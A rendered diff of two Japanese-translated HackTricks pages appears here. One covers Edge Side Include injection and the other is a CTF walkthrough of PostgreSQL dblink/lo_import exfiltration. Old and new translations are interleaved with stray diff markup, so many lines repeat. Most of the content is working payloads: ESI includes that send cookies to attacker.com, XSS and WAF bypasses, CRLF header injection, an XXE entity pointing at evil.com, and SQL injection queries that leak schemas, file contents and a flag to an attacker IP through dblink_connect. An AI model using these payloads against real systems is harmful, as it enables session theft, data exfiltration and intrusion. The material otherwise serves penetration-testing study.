Webアプリケーションが\*\* `.shtml`、`.shtm`、または`.stm` \*\*の拡張子を持つファイルを使用している場合、SSIの存在を推測できますが、これが唯一のケースではありません。
|
||||
|
||||
典型的なSSI表現は次の形式を持っています：
|
||||
典型的なSSI式の形式は次のとおりです。
|
||||
```
|
||||
<!--#directive param="value" -->
|
||||
```
|
||||
|
|
@ -64,19 +66,19 @@ SSIを使用するか、ページを完全にプログラムで生成するか
|
|||
<!--#set var="name" value="Rich" -->
|
||||
|
||||
```
|
||||
## Edge Side Inclusion（エッジサイドインクルージョン）
|
||||
## エッジサイドインクルージョン
|
||||
|
||||
キャッシュ情報や動的アプリケーションに問題があります。コンテンツの一部が次にコンテンツを取得する際に**変化**している可能性があります。これが**ESI**が使用される理由です。ESIタグを使用して、キャッシュバージョンを送信する前に**生成する必要がある動的コンテンツ**を示します。
|
||||
もし**攻撃者**がキャッシュコンテンツ内にESIタグを**注入**することができれば、そのドキュメントがユーザーに送信される前に**任意のコンテンツを注入**することができるかもしれません。
|
||||
コンテンツの一部が次回コンテンツが取得される際に異なる可能性があるため、情報や動的アプリケーションをキャッシュする際に問題が発生します。これがESIが使用される理由で、ESIタグを使用してキャッシュバージョンを送信する前に生成する必要がある動的コンテンツを示します。\
|
||||
**攻撃者**がキャッシュコンテンツ内にESIタグを**挿入**できる場合、ユーザーに送信される前にドキュメントに**任意のコンテンツを挿入**できる可能性があります。
|
||||
|
||||
### ESI 検出
|
||||
### ESIの検出
|
||||
|
||||
サーバーからのレスポンスに以下の**ヘッダー**が含まれている場合、サーバーはESIを使用しています：
|
||||
サーバーからの応答に含まれる以下の**ヘッダー**は、サーバーがESIを使用していることを意味します：
|
||||
```
|
||||
Surrogate-Control: content="ESI/1.0"
|
||||
```
|
||||
ヘッダーが見つからない場合でも、サーバーは**それでも ESI を使用している可能性があります**。\
|
||||
リクエストが攻撃者のサーバーに到達するはずなので、**ブラインドエクスプロイトアプローチも使用できます**：
|
||||
もしこのヘッダーが見つからない場合、サーバーは**とにかくESIを使用している可能性があります**。\
|
||||
**ブラインドエクスプロイテーションアプローチも使用できます**。攻撃者のサーバーにリクエストが到着するはずです：
|
||||
```javascript
|
||||
// Basic detection
|
||||
hell<!--esi-->o
|
||||
|
|
@ -97,34 +99,34 @@ hell<!--esi-->o
|
|||
// Valid for Akamai, sends debug information in the response
|
||||
<esi:debug/>
|
||||
```
|
||||
### ESI 悪用
|
||||
### ESIの悪用
|
||||
|
||||
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) は、サポートされている機能に応じて、異なる ESI 対応ソフトウェアに対して試すことができる潜在的な攻撃を理解するのに役立つ表を作成しました。まず、以下の表の列名についていくつかの説明を提供しましょう：
|
||||
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)は、異なるESI対応ソフトウェアに対して試す可能な攻撃を理解するのに役立つ表を作成しました。以下の表の列名に関する説明を最初に提供しましょう：
|
||||
|
||||
* **Includes**: `<esi:includes>` ディレクティブをサポートしています
|
||||
* **Vars**: `<esi:vars>` ディレクティブをサポートしています。XSS フィルターをバイパスするのに役立ちます
|
||||
* **Cookie**: ドキュメントのクッキーが ESI エンジンにアクセス可能です
|
||||
* **Upstream Headers Required**: 上流アプリケーションがヘッダーを提供しない限り、サロゲートアプリケーションは ESI ステートメントを処理しません
|
||||
* **Host Allowlist**: この場合、ESI のインクルードは許可されたサーバーホストからのみ可能であり、例えば、SSRF はそれらのホストに対してのみ可能です
|
||||
- **Includes**: `<esi:includes>`ディレクティブをサポート
|
||||
- **Vars**: `<esi:vars>`ディレクティブをサポート。XSSフィルターをバイパスするのに便利
|
||||
- **Cookie**: ドキュメントクッキーがESIエンジンからアクセス可能
|
||||
- **Upstream Headers Required**: 上流アプリケーションがヘッダーを提供しない限り、サロゲートアプリケーションはESIステートメントを処理しない
|
||||
- **Host Allowlist**: この場合、ESIインクルードは許可されたサーバーホストからのみ可能であり、例えば、SSRFはこれらのホストに対してのみ可能
|
||||
|
||||
| **ソフトウェア** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Allowlist** |
|
||||
| **ソフトウェア** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
||||
| Squid3 | はい | はい | はい | はい | いいえ |
|
||||
| Varnish Cache | はい | いいえ | いいえ | はい | はい |
|
||||
| Fastly | はい | いいえ | いいえ | いいえ | はい |
|
||||
| Akamai ESI Test Server (ETS) | はい | はい | はい | いいえ | いいえ |
|
||||
| NodeJS esi | はい | はい | はい | いいえ | いいえ |
|
||||
| NodeJS nodesi | はい | いいえ | いいえ | いいえ | 任意 |
|
||||
| Squid3 | Yes | Yes | Yes | Yes | No |
|
||||
| Varnish Cache | Yes | No | No | Yes | Yes |
|
||||
| Fastly | Yes | No | No | No | Yes |
|
||||
| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
|
||||
| NodeJS esi | Yes | Yes | Yes | No | No |
|
||||
| NodeJS nodesi | Yes | No | No | No | Optional |
|
||||
|
||||
#### XSS
|
||||
|
||||
以下の ESI ディレクティブは、サーバーのレスポンス内に任意のファイルをロードします
|
||||
以下のESIディレクティブは、サーバーの応答内で任意のファイルを読み込みます。
|
||||
```markup
|
||||
<esi:include src=http://attacker.com/xss.html>
|
||||
```
|
||||
ファイル _http://attacker.com/xss.html_ には `<script>alert(1)</script>` のようなXSSペイロードが含まれている可能性があります。
|
||||
ファイル _http://attacker.com/xss.html_ には、`<script>alert(1)</script>` のようなXSSペイロードが含まれている可能性があります。
|
||||
|
||||
#### クライアントXSS保護をバイパスする
|
||||
#### クライアントのXSS保護をバイパス
|
||||
```markup
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
|
||||
|
|
@ -132,37 +134,45 @@ Use <!--esi--> to bypass WAFs:
|
|||
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
|
||||
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
|
||||
```
|
||||
#### クッキーの盗み
|
||||
#### Cookieの盗み取り
|
||||
|
||||
* リモートでクッキーを盗む
|
||||
* リモートでCookieを盗む
|
||||
```markup
|
||||
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
||||
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
||||
```
|
||||
* XSSを利用してHTTP\_ONLYクッキーを反映させ、盗む方法：
|
||||
* XSSを使用してHTTP\_ONLYクッキーを盗む方法：レスポンスに反映させる
|
||||
```bash
|
||||
# This will reflect the cookies in the response
|
||||
<!--esi $(HTTP_COOKIE) -->
|
||||
# Reflect XSS
|
||||
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (4) (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* クッキーを反映させることでの完全なアカウント乗っ取り
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### プライベートローカルファイル
|
||||
|
||||
これを「ローカルファイルインクルージョン」と混同しないでください：
|
||||
これを「ローカルファイルインクルージョン」と混同しないでください:
|
||||
```markup
|
||||
<esi:include src="secret.txt">
|
||||
```
|
||||
#### CRLF
|
||||
|
||||
CRLF（Carriage Return Line Feed）は、HTTPヘッダーインジェクション攻撃で一般的に使用されます。
|
||||
```markup
|
||||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||||
```
|
||||
#### オープンリダイレクト
|
||||
|
||||
以下はレスポンスに `Location` ヘッダーを追加します
|
||||
以下は、応答に `Location` ヘッダーを追加します。
|
||||
```bash
|
||||
<!--esi $add_header('Location','http://attacker.com') -->
|
||||
```
|
||||
#### ヘッダーを追加
|
||||
#### ヘッダーの追加
|
||||
|
||||
* 強制リクエストにヘッダーを追加
|
||||
```html
|
||||
|
|
@ -170,13 +180,15 @@ Use <!--esi--> to bypass WAFs:
|
|||
<esi:request_header name="User-Agent" value="12345"/>
|
||||
</esi:include>
|
||||
```
|
||||
* レスポンスにヘッダーを追加する（XSSを含むレスポンスで "Content-Type: text/json" をバイパスするのに役立つ）
|
||||
* レスポンスにヘッダーを追加します（XSSを含むレスポンスで "Content-Type: text/json" をバイパスするのに便利）
|
||||
```bash
|
||||
<!--esi/$add_header('Content-Type','text/html')/-->
|
||||
|
||||
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
|
||||
```
|
||||
#### AddヘッダーにおけるCRLF (**CVE-2019-2438)**
|
||||
<figure><img src="../.gitbook/assets/image (5) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### ヘッダーにCRLF（**CVE-2019-2438)**
|
||||
```markup
|
||||
<esi:include src="http://example.com/asdasd">
|
||||
<esi:request_header name="User-Agent" value="12345
|
||||
|
|
@ -185,13 +197,13 @@ Host: anotherhost.com"/>
|
|||
```
|
||||
#### Akamai デバッグ
|
||||
|
||||
これにより、レスポンスに含まれるデバッグ情報が送信されます:
|
||||
これにより、レスポンスに含まれるデバッグ情報が送信されます。
|
||||
```markup
|
||||
<esi:debug/>
|
||||
```
|
||||
### ESI + XSLT = XXE
|
||||
|
||||
\*\* **\_**eXtensible Stylesheet Language Transformations (XSLT)**\_** \*\* を使用したESIインクルードを追加することも可能です。これは、_dca_ パラメータに `xslt` 値を指定することで実現します。以下のインクルードは、HTTPサロゲートにXMLとXSLTファイルのリクエストを行わせます。その後、XSLTファイルがXMLファイルをフィルタリングするために使用されます。このXMLファイルは、_XML External Entity (XXE)_ 攻撃を実行するために使用することができます。これにより攻撃者はSSRF攻撃を実行することができますが、これはESIインクルードを介して行わなければならないため、あまり有用ではありません。これはSSRFベクトル自体です。外部DTDは解析されません。なぜなら、基盤となるライブラリ(Xalan)はそれをサポートしていないからです。これは、ローカルファイルを抽出することはできないことを意味します。
|
||||
`xslt`値を_dca_パラメータに指定することで、**eXtensible Stylesheet Language Transformations (XSLT)**ベースのESIインクルードを追加することも可能です。次のインクルードは、HTTPサロゲートにXMLファイルとXSLTファイルをリクエストさせます。その後、XSLTファイルがXMLファイルをフィルタリングするために使用されます。このXMLファイルを使用して_XML External Entity (XXE)_攻撃を実行できます。これにより、攻撃者はSSRF攻撃を実行できますが、ESIインクルードを介して実行する必要があるため、それ自体がSSRFベクトルであるためあまり有用ではありません。基礎となるライブラリ（Xalan）は外部DTDを解析しないため、ローカルファイルを抽出することはできません。
|
||||
```markup
|
||||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||||
```
|
||||
|
|
@ -201,33 +213,27 @@ XSLTファイル：
|
|||
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
XSLTページを確認してください:
|
||||
|
||||
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
|
||||
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 参考文献
|
||||
### 参照
|
||||
|
||||
* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
|
||||
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
|
||||
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
|
||||
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
|
||||
|
||||
## ブルートフォース検出リスト
|
||||
## Brute-Force Detection List
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ！</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください。**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で私を**フォロー**する。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,175 +1,34 @@
|
|||
# dblink/lo\_import データ流出
|
||||
# dblink/lo\_importデータの外部流出
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください！</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
**これは、`lo_import`を使用してデータベースにファイルをロードし、`dblink_connect`を使用してそれらを流出させる方法の例です。**
|
||||
**これは、`lo_import`を使用してデータをデータベースにロードし、`dblink_connect`を使用してそれらを外部流出させる方法の例です。**
|
||||
|
||||
## 流出サーバーの準備/非同期SQLインジェクション
|
||||
**ソリューションを確認:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
**抜粋元:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
`pg_sleep`が遅延を引き起こさないため、クエリの実行がバックグラウンドまたは非同期で行われると安全に仮定できます。
|
||||
|
||||
通常、`dblink_connect`はリモートのPostgreSQLデータベースへの持続的な接続を開くために使用されます（例：`SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`）。この関数のパラメータを制御できるため、自分のホストに対してSQLサーバーサイドリクエストフォージェリを実行できます。つまり、SQLクエリ結果からデータを流出させるためのアウトオブバンドSQLインジェクションを実行できます。少なくとも、これを行う方法は2つあります：
|
||||
|
||||
1. **DNSサーバー**を設定し、`[data].our.domain`への接続をトリガーして、ログまたはDNSネットワークパケットでデータを確認します。
|
||||
2. **公開PostgreSQLサーバーを設定し、PostgreSQLポートへの着信ネットワークパケットを監視**し、その後、`user`/`dbname`として流出データを含む接続をホストにトリガーします。**デフォルトでは**、PostgreSQLは通信にSSLを使用しないため、ネットワーク上で`user`/`dbname`を**プレーンテキスト**で確認できます。
|
||||
|
||||
**2番目の方法の方が簡単**です。ドメインは必要ありません。公開IPを持つサーバーを設定し、PostgreSQLをインストールし、PostgreSQLサービスを\*/0.0.0.0でリッスンするように設定し、ネットワークダンパー（例：tcpdump）を実行して、PostgreSQLポート（デフォルトでは5432）へのトラフィックを監視するだけです。
|
||||
|
||||
PostgreSQLが**公開にリッスンする**ように設定するには、`postgresql.conf`の`listen_addresses`を`*`に設定します。
|
||||
```
|
||||
listen_addresses = '*'
|
||||
```
|
||||
トラフィックの監視には、ポート5432を監視するために `tcpdump` を実行します。
|
||||
```
|
||||
sudo tcpdump -nX -i eth0 port 5432
|
||||
```
|
||||
ターゲットからの接続が得られるかどうかを確認するために、このクエリを使用してみることができます：
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --
|
||||
```
|
||||
成功すると、読み取り可能な `user` と `dbname` を含むネットワークパケットの一部を取得できます。
|
||||
```
|
||||
17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42
|
||||
0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6...
|
||||
0x0010: 9de6 2259 c718 2061 5889 142a 9f8a cb5d .."Y...aX..*...]
|
||||
0x0020: 8018 00e5 1701 0000 0101 080a 39d2 393d ............9.9=
|
||||
0x0030: 3924 7ef6 0000 002a 0003 0000 7573 6572 9$~....*....user
|
||||
0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database
|
||||
0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb.
|
||||
```
|
||||
次に、いくつかのPostgreSQLクエリを使用して**データベースの抽出を続けることができます**。各クエリの結果に空白が含まれている場合、`dblink_connect`プロセス中に実行エラーが発生するため、`encode`関数を使用して結果を**hex/base64**に変換するか、`replace`関数を使用して空白を他の文字に置き換える必要があります。
|
||||
|
||||
**スキーマ**の**リスト**を取得します：
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:36:46.538178 IP 54.185.163.254.51018 > [REDACTED]: Flags [P.], seq 1:70, ack 1, win 229, options [nop,nop,TS val 971433789 ecr 960048322], length 69
|
||||
0x0000: 4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe E..y..@.'...6...
|
||||
0x0010: 9de6 2259 c74a 2061 1e74 4769 b404 803d .."Y.J.a.tGi...=
|
||||
0x0020: 8018 00e5 2710 0000 0101 080a 39e6 e73d ....'.......9..=
|
||||
0x0030: 3939 2cc2 0000 0045 0003 0000 7573 6572 99,....E....user
|
||||
0x0040: 0070 7562 6c69 633a 696e 666f 726d 6174 .public:informat
|
||||
0x0050: 696f 6e5f 7363 6865 6d61 3a70 675f 6361 ion_schema:pg_ca
|
||||
0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p
|
||||
0x0070: 6f73 7467 7265 7300 00 ostgres.
|
||||
```
|
||||
現在のスキーマにある**テーブル**の**リスト**を取得する：
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:38:30.515438 IP 54.185.163.254.51026 > [REDACTED]: Flags [P.], seq 1:42, ack 1, win 229, options [nop,nop,TS val 971537775 ecr 960152304], length 41
|
||||
0x0000: 4500 005d f371 4000 2706 c532 36b9 a3fe E..].q@.'..26...
|
||||
0x0010: 9de6 2259 c752 2061 8dd4 e226 24a3 a5c5 .."Y.R.a...&$...
|
||||
0x0020: 8018 00e5 fe2b 0000 0101 080a 39e8 7d6f .....+......9.}o
|
||||
0x0030: 393a c2f0 0000 0029 0003 0000 7573 6572 9:.....)....user
|
||||
0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa
|
||||
0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres.
|
||||
```
|
||||
**`searches` テーブルの**行数**を**カウント**します。
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) FROM searches) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:42:39.511643 IP 54.185.163.254.51034 > [REDACTED]: Flags [P.], seq 1:35, ack 1, win 229, options [nop,nop,TS val 971786760 ecr 960401280], length 34
|
||||
0x0000: 4500 0056 7982 4000 2706 3f29 36b9 a3fe E..Vy.@.'.?)6...
|
||||
0x0010: 9de6 2259 c75a 2061 5ec0 7df0 8611 357d .."Y.Z.a^.}...5}
|
||||
0x0020: 8018 00e5 f855 0000 0101 080a 39ec 4a08 .....U......9.J.
|
||||
0x0030: 393e 8f80 0000 0022 0003 0000 7573 6572 9>....."....user
|
||||
0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post
|
||||
0x0050: 6772 6573 0000 gres.
|
||||
```
|
||||
現在のスキーマには空のテーブルが1つだけあり、フラグはデータベース内に存在しないようです。`/var/lib/postgresql/data/secret`からデータを抽出する必要があるかもしれません。残念ながら、`pg_read_file` や `pg_read_binary_file` を使用してファイルを読もうとしても、現在のユーザーにはこれらの関数を使用する権限がないため、接続が来ない可能性があります。
|
||||
|
||||
#### 非同期SQLインジェクションに関する詳細情報
|
||||
|
||||
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
## **大きなオブジェクトの内容を抽出する**
|
||||
|
||||
ファイルを読むために大きなオブジェクトを使用することが可能です（[https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)）。`lo_import` を使用してファイルの内容を `pg_largeobject` カタログにロードすることができます。クエリが成功すれば、オブジェクトの `oid` を取得できます。
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:54:51.963925 IP 54.185.163.254.51046 > [REDACTED]: Flags [P.], seq 1:39, ack 1, win 229, options [nop,nop,TS val 972519214 ecr 961133706], length 38
|
||||
0x0000: 4500 005a 071f 4000 2706 b188 36b9 a3fe E..Z..@.'...6...
|
||||
0x0010: 9de6 2259 c766 2061 26fb c8a7 bbb3 fe01 .."Y.f.a&.......
|
||||
0x0020: 8018 00e5 2272 0000 0101 080a 39f7 772e ...."r......9.w.
|
||||
0x0030: 3949 bc8a 0000 0026 0003 0000 7573 6572 9I.....&....user
|
||||
0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database.
|
||||
0x0050: 706f 7374 6772 6573 0000 postgres..
|
||||
```
|
||||
`oid`が24668とわかったので、`lo_import`関数を使用できます。残念ながら、`lo_get(24668)`を使って大きなオブジェクトの内容を取得しようとしても、または直接`pg_largeobject`カタログにアクセスしようとしても、結果は得られません。**現在のユーザーには新しいオブジェクトの内容を読む権限がないようです。**
|
||||
|
||||
PostgreSQLの大きなオブジェクトに関するドキュメントを読むと、**大きなオブジェクトにはACL**（アクセス制御リスト）があることがわかります。つまり、現在のユーザーが読むことを許可されているACLを持つ古いオブジェクトがあれば、そのオブジェクトの内容を抽出することができます。
|
||||
|
||||
`pg_largeobject_metadata`から抽出することで、利用可能な大きなオブジェクトの`oid`のリストを取得できます。
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
18:06:57.172285 IP 54.185.163.254.51052 > [REDACTED]: Flags [.], seq 1:2897, ack 1, win 229, options [nop,nop,TS val 973244413 ecr 961858878], length 2896
|
||||
0x0000: 4500 0b84 7adf 4000 2606 339e 36b9 a3fe E...z.@.&.3.6...
|
||||
0x0010: 9de6 2259 c76c 2061 8d76 e934 10c9 3972 .."Y.l.a.v.4..9r
|
||||
0x0020: 8010 00e5 a66d 0000 0101 080a 3a02 87fd .....m......:...
|
||||
0x0030: 3954 cd3e 0000 1c94 0003 0000 7573 6572 9T.>........user
|
||||
0x0040: 0031 3635 3731 3a31 3634 3339 3a31 3635 .16571:16439:165
|
||||
0x0050: 3732 3a31 3634 3431 3a31 3634 3432 3a31 72:16441:16442:1
|
||||
0x0060: 3733 3732 3a31 3634 3434 3a31 3634 3435 7372:16444:16445
|
||||
0x0070: 3a31 3831 3534 3a31 3733 3830 3a31 3737 :18154:17380:177
|
||||
0x0080: 3038 3a31 3635 3737 3a31 3634 3530 3a31 08:16577:16450:1
|
||||
0x0090: 3634 3531 3a31 3634 3532 3a31 3634 3533 6451:16452:16453
|
||||
|
||||
.....
|
||||
.....
|
||||
.....
|
||||
```
|
||||
```markdown
|
||||
`oid`の集まりを手に入れました。オブジェクトの内容を読み込むために`lo_get`を使用してみることができます。例えば、`lo_get(16439)`は`/etc/passwd`の内容を読み込みます。`lo_get`の結果は`bytea`なので、クエリに追加するためには`UTF8`に変換する必要があります。
|
||||
|
||||
フラグファイルが以前に読み込まれたかどうかを確認するために、最も低い`oid`のいくつかのオブジェクトを読み込んでみることができます。フラグファイルオブジェクトは`oid` 16444で存在しています。フラグには空白がないので、そのまま表示することができます。
|
||||
|
||||
フラグを読み込むには：
|
||||
```
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p
|
||||
```
|
||||
#### oidの詳細情報:
|
||||
|
||||
* [https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module](https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module)
|
||||
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください！</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
